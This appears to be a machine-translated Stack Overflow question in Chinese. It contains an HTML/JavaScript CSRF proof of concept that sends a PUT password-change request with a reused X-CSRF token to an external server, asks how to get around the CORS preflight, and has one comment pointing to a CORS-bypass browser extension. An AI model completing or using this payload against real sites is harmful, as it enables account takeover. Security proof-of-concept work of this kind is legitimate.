我試圖做到:PUT請求變成選項而沒有請求跟進由於CORS
所以我想創建CSRF的POC,但服務器需要一個X-CSRF令牌;其中應該使它不可能。然而,我發現了一個(非常簡單)的方式來發送一個x-csrf令牌,這個令牌總是有效的。所以我想創建一個POC關於如何更改密碼併發送X-CSRF令牌; AJAX 應該做這項工作。
代碼至今:
<html>
<button type="button" onclick="loadDoc()">execute</button>
<script>
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("PUT", "http://www.example.com/changepassword", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); //is "application/x-www-form-urlencoded" right?
xhttp.setRequestHeader('X-CSRF-Token', "ThatOneValidToken");
xhttp.send("{\"password\":\"POC-CSRF-PASSWORD\"}");
}
</script>
</html>
問題:
然而,由於CORS的這一PUT請求變成OPTIONS請求,然後沒有後續PUT請求。這個OPTIONS請求的響應只是一個簡單的
HTTP/1.1 404未找到
問題:
因爲它是一個外部服務器,我沒有自己(解釋了POC )我無法做服務器更改。我能否以某種方式更改請求,以便我仍然可以執行POC;換句話說,就我的想象力而言,我是否可以繞過此OPTIONS請求或修改請求以確保此OPTIONS預檢請求獲得後續PUT請求?
在此先感謝,會給你買一個友好的咖啡如果你有解決方案(如果這是合法的在stackoverflow)。
對於POC目的,您可以使用一些瀏覽器擴展,如https://chrome.google.com/webstore/detail/allow-control-allow-origi/nlfbmbojpeacfghkpbjhddihlkkiljbi通過CORS。 –